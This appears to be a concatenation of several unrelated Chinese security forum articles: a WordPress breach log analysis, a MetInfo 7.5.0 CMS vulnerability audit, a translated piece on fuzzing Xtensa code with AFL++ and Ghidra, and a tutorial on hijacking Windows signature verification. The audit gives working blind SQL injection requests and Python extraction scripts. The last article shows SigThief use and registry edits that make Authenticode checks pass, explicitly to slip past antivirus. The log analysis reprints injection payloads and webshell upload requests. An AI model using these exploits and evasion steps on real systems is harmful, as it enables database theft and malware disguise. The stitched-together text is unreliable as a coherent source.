84.55.41.57 - GET /wordpress/wp-admin/plugins.php?action=activate&plugin=file-manager%2Ffile-manager.php&_wpnonce=bf932ee530 200
攻击者使用file-namager插件上传了r57.php（一个PHP Webshell脚本）：
84.55.41.57 - GET /wordpress/wp-admin/admin-ajax.php?action=connector& cmd= upload&target=l1_d3AtY29udGVudA&name%5B%5D=r57.php&FILES=&_=1460873968131 200
日志表明，攻击者成功运行了r57 Shell脚本。查询字符串”?1”和”?28”表明攻击者通过脚本代码进行了网站导航，不过他什么也没有发现：
84.55.41.57 - GET /wordpress/wp-content/r57.php 200
84.55.41.57 - POST /wordpress/wp-content/r57.php?1 200
84.55.41.57 - GET /wordpress/wp-content/r57.php?28 200
攻击者最后的一项操作是通过file-manager插件编辑主题的index文件并将其内容替换成了单词”HACKED！”：
84.55.41.57 - POST /wordpress/wp-admin/admin-ajax.php 200 - http://www.
example.com/wordpress/wp-admin/admin.php?page=file-manager_settings
根据上述信息。我们得到了攻击者所有恶意活动的时间轴。但目前还有一个问题没有弄清楚，即攻击者一开始是如何得到管理员凭证的？
假设管理员密码既没有泄漏也没有被暴力破解，那么我们就得回头看看我们是不是忽略了什么信息。
当前这份access.log中并不包含任何有关管理员凭证得线索，不过我们并不是只有一个access.log文件可以调查。Apache
HTTP服务器中还提供了很多其他的日志文件，比如说/var/log/apache2/目录下就有四个可以调查的日志文件。首先，我们可以过滤出包含 IP地址
84.55.41.57的日志条目。我们发现，其中有一份日志文件中包含了大量与[SQL注入攻击](https://dzone.com/articles/sqli-how-it-works-part-1)（貌似针对的是一个自定义插件）有关的记录信息：
84.55.41.57- - [14/Apr/2016:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 AND (SELECT 6810 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
84.55.41.57- - [14/Apr/2016:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECT 7505 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT(7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
84.55.41.57- - [14/Apr/2016:08:22:13 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=(SELECT CONCAT(0x7171787671,(SELECT (ELT(1399=1399,1))),0x71707a7871)) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
84.55.41.57- - [14/Apr/2016:08:22:27 0100] "GET /wordpress/wp-content/plugins/custom_plugin/check_user.php?userid=1 UNION ALL SELECT CONCAT(0x7171787671,0x537653544175467a724f,0x71707a7871),NULL,NULL-- HTTP/1.1" 200 182 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
我们假设这个插件是系统管理员从网上直接下载并拷贝到网站之中的，而这个脚本可以根据给定的ID来查询用户的合法性。该插件在网站的主页面中提供了一个表单，该表单会向/wordpress/wp-content/plugins/custom_plugin/check_user.php发送一个AJAX GET请求。
通过对check_user.php文件进行了分析之后，我们发现这个脚本的代码写得非常烂，而且存在SQL注入漏洞：
<?php
//Include the WordPress header
include('/wordpress/wp-header.php');
global $wpdb;
// Use the GET parameter ‘userid’ as user input
$id=$_GET['userid'];
// Make a query to the database with the value the user supplied in the SQL statement
$users = $wpdb->get_results( "SELECT * FROM users WHERE user_id=$id");
?>
上述信息表明，攻击者使用了SQL注入工具来利用这个插件所带来的SQL注入漏洞，而且这款漏洞利用工具尝试了多种SQL注入技术来枚举数据库名、表名和列名:
/wordpress/wp-content/plugins/my_custom_plugin/check_user.php?userid=-6859 UNION ALL SELECT (SELECT CONCAT(0x7171787671,IFNULL(CAST(ID AS CHAR),0x20),0x616474686c76,IFNULL(CAST(display_name AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_activation_key AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_email AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_login AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_nicename AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_pass AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_registered AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_status AS CHAR),0x20),0x616474686c76,IFNULL(CAST(user_url AS CHAR),0x20),0x71707a7871) FROM wp.wp_users LIMIT 0,1),NULL,NULL--
注：有关SQL注入漏洞的解决方案请参考[这篇文章](https://www.acunetix.com/blog/articles/preventing-and-fixing-sql-injection-vulnerabilities-in-php-applications/)。
上述信息足以表明网站的WordPress数据库遭到了攻击，而数据库中存储的数据很可能已经发生了泄露。
**
**
**分析**
通过此次调查，我们得出了攻击者的攻击事件链。
不过现在还有很多问题没解决，比如说攻击者到底是谁？目前来说，我们只知道攻击者的IP地址，而且攻击者一般都会使用代理服务器或类似Tor这样的匿名网络来掩盖其真实的IP地址。除非攻击者留下了与他真实身份有关的证据，否则我们很难得知攻击者的真实身份。
在对日志记录进行了分析之后我们得知，网站管理员所使用的那款自定义WordPress插件中存在安全漏洞，并导致了SQL注入攻击的发生。但如果网站在真正上线之前进行了完整的安全漏洞测试的话，攻击者肯定就无法利用这种漏洞来实施攻击了。
在上面这个我虚构出的场景中，攻击者其实是非常草率的，因为他留下了大量攻击痕迹和取证证据，而这些信息将给调查人员提供很大的帮助。但在真实的攻击场景中，攻击者可不会留下多少有用的信息。 | 社区文章 |
### 0x00：环境说明
Windows 10
Phpstuby
Php版本：7.2.9
CMS版本：MetInfo7.5.0
### 0x01：目录结构
|-- about
|-- about1
|-- admin
|-- app
|-- cache
|-- case
|-- config
|-- download
|-- favicon.ico
|-- feedback
|-- hits
|-- img
|-- include
|-- index.php
|-- install
|-- job
|-- member
|-- message
|-- news
|-- online
|-- product
|-- public
|-- robots.txt
|-- search
|-- sitemap
|-- tags
|-- templates
|-- upload
### 0x02：开始审计
**注意：** 以下漏洞均已被CNVD收录
#### SQL注入
CMS的安装就略过了，该项目的控制器目录是app，直接从app目录下的文件开始审。
在文件 app\system\user\admin\parameter.class.php 下的 doDelParas 函数，表单的 id 被传递给了
delete_para_value 方法，跟进该方法。
在文件 app/system/parameter/include/class/parameter_database.class.php 的
delete_para_value 函数可以看到传入的 id 被直接拼接到sql语句中，继续跟进到 DB::query($query)。
在文件 app/system/include/class/mysql.class.php 的 query 函数下，sql 语句被传递给了
self::$link->query 方法，跟进变量 $link 可以看到已经是 mysqli 对象了。
使用 burpsute 进行注入攻击，注意需要管理员权限，payload：
POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1
Host: cms.cn
Content-Length: 60
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn
Referer: http://cms.cn/admin/
Connection: close
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;
id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)
测试结果如下，成功触发基于时间的布尔盲注延时2秒，id 164是当前表默认存在的。
编写python脚本跑出用户名
import requests
url = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"
headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
proxies = {"http": None}
req = requests.session()
result = ''
for mid in range(15):
for i in range(30, 150):
data = "id[]=164+and+if((select ascii(substr(user(),%d,1)))=%d,sleep(1),0)" % (mid, i)
resp = req.post(url, data=data, headers=headers, proxies=proxies)
if resp.elapsed.total_seconds() > 1.5:
result += chr(i)
print(result)
#### SQL注入
在文件 app\system\parameter\admin\parameter_admin.class.php 的 doparasave 函数下跟进
table_para 方法，table_para 方法接收了两个表单参数，$_M[‘form’]
接收表单的所有键值对，$_M[‘form’][‘module’] 接收表单的module参数。
在table_para
函数，需要构造表单的内容使数据能传入到update_para_list或insert_para_list方法，这两个方法都可以触发sql注入，这里我选择使用insert_para_list来触发。
跟进到insert_para_list方法，$field[‘options’]的数据需要是json格式，$options的一个值需要是数组，使foreach之后$option是数组，然后$module的数据就赋值给$option[‘module’]。
进入 app\system\parameter\include\class\parameter_database.class.php
文件的add_para_value方法，可以看到 $option[‘module’] 被直接拼接到sql语句并且没有使用单引号，这里就导致了sql注入。
捋一下思路，我们需要构造 $_M[‘form’] 表单让方法能正常调用以下流程
doparasave -> table_para -> insert_para_list -> add_para_value
而 $_M[‘form’][‘module’] 表单则构造sql语句。
使用 burpsute 进行注入攻击，注意需要管理员权限，payload：
POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1
Host: cms.cn
Content-Length: 126
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cms.cn
Referer: http://cms.cn/admin/
Connection: close
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;
allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),1,1)))>1,sleep(0.03),0)
测试结果如下，成功触发基于时间的布尔盲注延时差不多1秒。
python脚本：
import requests
url = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"
headers = {"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
proxies = {"http": None}
req = requests.session()
result = ''
for mid in range(15):
for i in range(30, 150):
data = "allid=a&submit_type=save&type-a=6&options-a={\"0\":{\"0\":\"0\"}}&module=-1 or if((select ascii(mid(user(),%d,1)))=%d,sleep(0.03),1)" % (mid, i)
resp = req.post(url, data=data, headers=headers, proxies=proxies)
if resp.elapsed.total_seconds() > 0.8:
result += chr(i)
print(result)
#### md5弱类型比较
在文件 app/system/user/web/login.class.php 的 dologin函数下，$this->login
方法接收了表单的username与password，跟进该方法。
在login函数中继续跟进到 $this->userclass->login_by_password 方法。
在文件 app/system/include/class/user.class.php 的 login_by_password 函数中 $user 从方法
$this->get_user_by_username($username); 获取了数据库查询的会员数据。表单的password被进行了md5加密，然后与
$user[‘password’] 进行了比较，由于使用了两个等于号，所以存在md5弱类型比较漏洞。（经常打ctf的应该都知道）
漏洞复现
首先注册一个账号 abab，密码设置为md5加密后为0e开头的字符串。
登录时使用md5加密后为0e开头的字符串即可。
### 结语
可以发现大部分是后台的漏洞，前台防的比较紧，不过这些漏洞CNVD都是收录的。 | 社区文章 |
# 利用AFL与ghidra仿真器对“另类”架构代码进行模糊测试
|
##### 译文声明
本文是翻译文章，文章原作者 Flavian Dola，文章来源：airbus-cyber-security.com
原文地址：<https://airbus-cyber-security.com/fuzzing-exotic-arch-with-afl-using-ghidra-emulator/>
译文仅供参考，具体内容表达以及含义原文为准。
模糊测试是一种非常流行和有用的技术，经常被研究人员用来寻找安全漏洞。
在这篇文章中，我们将介绍如何使用AFL++和Ghidra仿真引擎，对运行在采用”另类”架构的嵌入式设备上的程序进行模糊测试。当使用Qemu或Unicorn等仿真引擎无法轻易完成上面的任务时，这可能是一个不错的替代方案。
在这种情况下，我们可以为AFL++添加一个新的socket_mode选项。通过这个新功能，我们不仅可以实现代码覆盖功能，同时，还可以通过外部运行的程序（例如，Ghidra仿真引擎）进行模糊测试。
最后，我们将为读者详细介绍一个关于xTensa（ESP32）架构的用例。
## 关于模糊测试
为了更加高效地挖掘安全漏洞，研究人员经常使用fuzzing技术来寻找有潜在利用价值的编程错误。简单地说，fuzzing就是向程序注入一些“随机的”输入，同时对程序进行密切的监视，看看是否会发生异常的行为，例如崩溃或意想不到的问题。
## 关于盲法模糊测试（Blind fuzzing）
实际上，对目标程序进行模糊测试的方法有很多，这里要介绍的第一种方法被称为“盲法模糊测试”。在许多情况下，这是最简单的方法：只需向程序或嵌入式设备发送随机数据，直到出现异常行为为止，如崩溃、延迟响应或配置改变等。
为了尽可能高效地进行”盲法模糊测试”，需要在逆向过程中投入大量精力。事实上，我们需要了解应用程序的预期输入数据格式，以便最大限度地提高发现漏洞的机率，如大小字段、某些操作码字段、CRC等。如果没有这些前期工作，就很难触及代码中可能存在漏洞的部分。
## 基于代码覆盖率的模糊测试方法
如今，“基于代码覆盖率的模糊测试方法”是为获得预期结果而最常用的一种模糊测试方法，其主要思想是自动向模糊测试引擎提供新的输入，以便最大限度地执行可访问的代码。因此，在实践中，发现的每个新执行路径都会带来一个新的样本，并对其进行模糊突变处理。最初，这种方法仅用于对源代码进行模糊测试，因为在编译时应添加代码覆盖率检测。
## American Fuzzy Lop (AFL)
AFL是目前最流行的模糊测试软件之一。它最初由Michal “lcamtuf” Zaleswski开发，其后继者AFL++现在由一个更大的社区进行维护。
AFL能够以代码覆盖率导向的方式对黑盒程序进行模糊处理。为了实现这个目标，AFL需要借助于像Qemu或Unicorn这样的仿真引擎来收集覆盖率信息，然后将其提供给AFL。关于这方面的更多信息，请参考AFL文档。
通常情况下，AFL和Unicorn用于裸机嵌入式设备。首先，Unicorn的目的是在仿真水平上设计插桩，所以对其进行开发（例如，仿真硬件行为）相对要容易一些。关于AFL-Unicorn的更多信息，请参考这篇文章。
不幸的是，Unicorn仍然基于旧的Qemu版本，而且它目前只支持有限的CPU架构，比如ARM、ARM64（ARMv8）、M68K、MIPS、SPARC和X86架构。那么，在一个其架构尚未提供支持的CPU上，我们如何使用AFL进行模糊测试呢？
## GHIDRA仿真器
Ghidra是一套开源的软件逆向分析工具，它最初是由美国国家安全局开发的；同时，它提供了丰富的功能，例如：
* 反汇编。
* 反编译。
* 用Java或Python编写脚本。
* 仿真。
Ghidra不仅支持许多CPU架构，并且还易于添加新的CPU架构。简而言之，如果您想添加一个新的CPU架构，只需要描述相关的语义以及如何解码这些指令就可以了。然后，您就拥有了新支持的架构的所有Ghidra功能，如反汇编、反编译和仿真。
目前，网上已经涌现了许多关于如何添加CPU架构的教程（Implementing a New CPU Architecture for Ghidra）。
## 带有Ghidra仿真器的AFL
为了对“另类”架构中的某些代码进行模糊测试，我们需要借助AFL++和Ghidra来模拟其执行过程。为此，我们必须实现以下功能，才能充分利用代码覆盖率：
* 一个新的AFL++模式（socket_mode），用于通过TCP套接字获得执行路径。
* AFL++和Ghidra仿真器之间的桥接器（ahl_bridge_external.py）。
* 一个Ghidra仿真器（ahl_ghidra_emu），用于接收输入样本，并通知AFL++执行路径。
图1：AFL Ghidra仿真器PoC架构
本文中的代码都可以从我们的github页面下载：
- AFLplusplus-socket-mode，地址https://github.com/airbus-cyber/AFLplusplus-socket-mode。
- afl_ghidra_emu，地址https://github.com/airbus-cyber/afl_ghidra_emu。
## AFL是如何工作的
首先，AFL++会监听TCP套接字（Ex: 22222/tcp），以获得关于样本代码执行路径的通知。
然后，AFL++运行一个trampoline脚本（afl_bridge_external.py），它负责转发样本，并通过TCP套接字（Ex:
127.0.0.1:6674/tcp）转发给Ghidra仿真，并维护AFL++配置。
最后，Ghidra中的一个python脚本（fuzz_xtensa_check_serial.py）负责模拟代码执行。它监听一个TCP套接字（127.0.0.1:6674/tcp）并等待来自蹦床脚本的输入数据。
一旦脚本收到输入数据，仿真就会开始。在执行过程中，被执行的路径地址会通过相应的套接字（127.0.0.1:22222）发送到AFL++。
然后，由仿真引擎报告最终的执行状态（例如：是否发生崩溃）给蹦床脚本（afl_bridge_external.py）。如果报告称状态出现了崩溃，蹦床脚本就会退出，并返回AFL++缓存的segfault错误信号。
## 安装方法
克隆AFLplusplus-socket-mode目录。
git clone https://github.com/airbus-cyber/AFLplusplus-socket-mode
编译AFLplusplus（读者可以阅读AFLplusplus-socket-mode/README.md，以了解更多选项）。
cd AFLplusplus-socket-mode
make
获取AFL Ghidra仿真器脚本和库：
cd AFLplusplus-socket-mode/utils/socket_mode
sh get_afl_ghidra_emulator.sh
将afl_ghidra_emu文件复制到ghidra的脚本目录下：
cp –r afl_ghidra_emu/* $USER_HOME/ghidra_scripts/
## 示例：对Xtensa的二进制代码进行模糊测试
为了进行演示，我们为Xtensa架构制作了keygenMe软件编译器，您可以从这里下载该软件。
由于Ghidra目前还没有正式支持Xtensa，因此，您需要首先按照以这里的说明进行安装。
### 载入Ghidra
* 在Ghidra中创建一个新项目。
* 导入文件./bin/keygenme_xtensa.elf（arch: Xtensa:LE:32）。
* 利用CodeBrowser打开该文件并进行自动分析。
* 通过“Window”子菜单中打开脚本管理器。
* 运行脚本fuzz_xtensa_check_serial.py。
### 进行模糊测试
创建AFL工作空间目录
mkdir input output
添加第一个样本
echo –n “BBBBBBBB” > input/sample1.bin
通过蹦床脚本启动AFL++。
afl-fuzz -p explore -D -Y 22222 -i input -o output -t 90000 /usr/bin/python2 afl_bridge_external.py -H 127.0.0.1 -P 6674 -a 127.0.0.1 -p 22222 -i @@
当AFL++检测到崩溃时，我们就能得到预期的序列：
cat output/default/crashes/id*
➔AZERTYUI
停止Ghidra仿真
./afl_bridge_external.py -H 127.0.0.1 -P 6674 –s
## 结束语
如本文所述，我们能够对Ghidra支持的所有架构的目标程序进行代码覆盖率导向的模糊测试。
虽然这些方法的性能较低，但我们可以通过同时启动几个模糊测试实例来获得更好的性能。此外，为了改进漏洞检测效果，还需要引入大量的插桩机制（例如，“类似ASAN”的机制）。
请注意，通过对AFL++进行修改（socket_mode），使其可以与其他仿真引擎或调试器进行集成。尽管如此，当我们与GDB调试器之类的工具进行集成时，仍然需要设计相应的插桩技术来通知AFL具体的执行路径。 | 社区文章 |
# 数字签名劫持
## 声明
本文只是用来交流技术，切勿使用该技术运用到非法途径中，否则一切与作者无关！
## 回顾
开发人员通常会签名他们的代码，以便向用户保证他们的软件是受信任的，并且尚未以恶意方式对其进行修改。这是通过使用数字签名来完成的。因此，签名代码是一种验证文件真实性和完整性的方法。
威胁猎手和蓝队通常检查二进制文件的数字签名，以便进行初始检查并确定是否应将其视为可疑文件。Microsoft防御性技术（例如AppLocker和Device
Guard）支持使用规则，这些规则仅允许来自受信任的发布者并经过数字签名的可执行文件和PowerShell脚本在系统上执行。通过使用证书执行此验证。
可以通过PowerShell调用 **Get-AuthenticodeSignature**
并使用Sysinternals的[SigCheck](https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck)实用程序来执行数字签名 **的验证** 。
在之前我有写过一篇签名伪造的文章，但由于hash不同，最后签名是失效的，只能通过自写证书来绕过，但与该方法有本质上的区别。
## 绕过签名验证
即使受信任的证书已被窃取并应用于恶意二进制文件，由于Authenticode哈希将不匹配，因此数字签名仍将无效。无效的authenticode哈希值强烈表明该二进制文件不合法。从PowerShell控制台对具有受信任证书的二进制文件执行
**Get-AuthenticodeSignature** 会产生HashMismatch错误。
这里我演示下通过sigthief来给nc.exe赋予
python3 sigthief.py -i C:\Windows\System32\consent.exe -t nc.exe -o ladon.exe
使用 Get-AuthenticodeSignature对比下两个程序的hash和状态。
可执行代码由数字证书的私钥签名。公钥嵌入在证书本身中。由于不知道私钥，由于哈希将有所不同，它将始终使哈希验证过程失败。
因此，需要通过注册表修改来削弱数字签名验证机制。发现了在哈希表的哪个位置执行验证以及如何执行哈希验证。该
**CryptSIPDllVerifyIndirectData** 组件处理的PowerShell脚本和可执行文件的便携式数字签名验证。
这些注册表项位于以下注册表位置：
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
需要把这两个注册表中图中红箭头处修改为（修改注册表时全程开着火绒，能正常修改）
DLL - C:\Windows\System32\ntdll.dll
FuncName - DbgUiContinue
## 实战运用
不能运用到实战中的技术都是瞎研究，那么这项技术能让我们来干什么？
### 1
从图中可以看出签名已经被识别为正常，可用了
### 2
有些杀软检测程序是否有正常的签名，如果有则直接bypass
测试杀软：360杀毒、火绒
这是有签名的杀软结果
这是没有签名的查杀
我也不知道为什么K8大佬的ladon工具会被查杀，滑稽。
## 结语
运用场景不止上面这些，大家可以自己多摸索摸索，最关键是如何打出组合拳。 | 社区文章 |
Subsets and Splits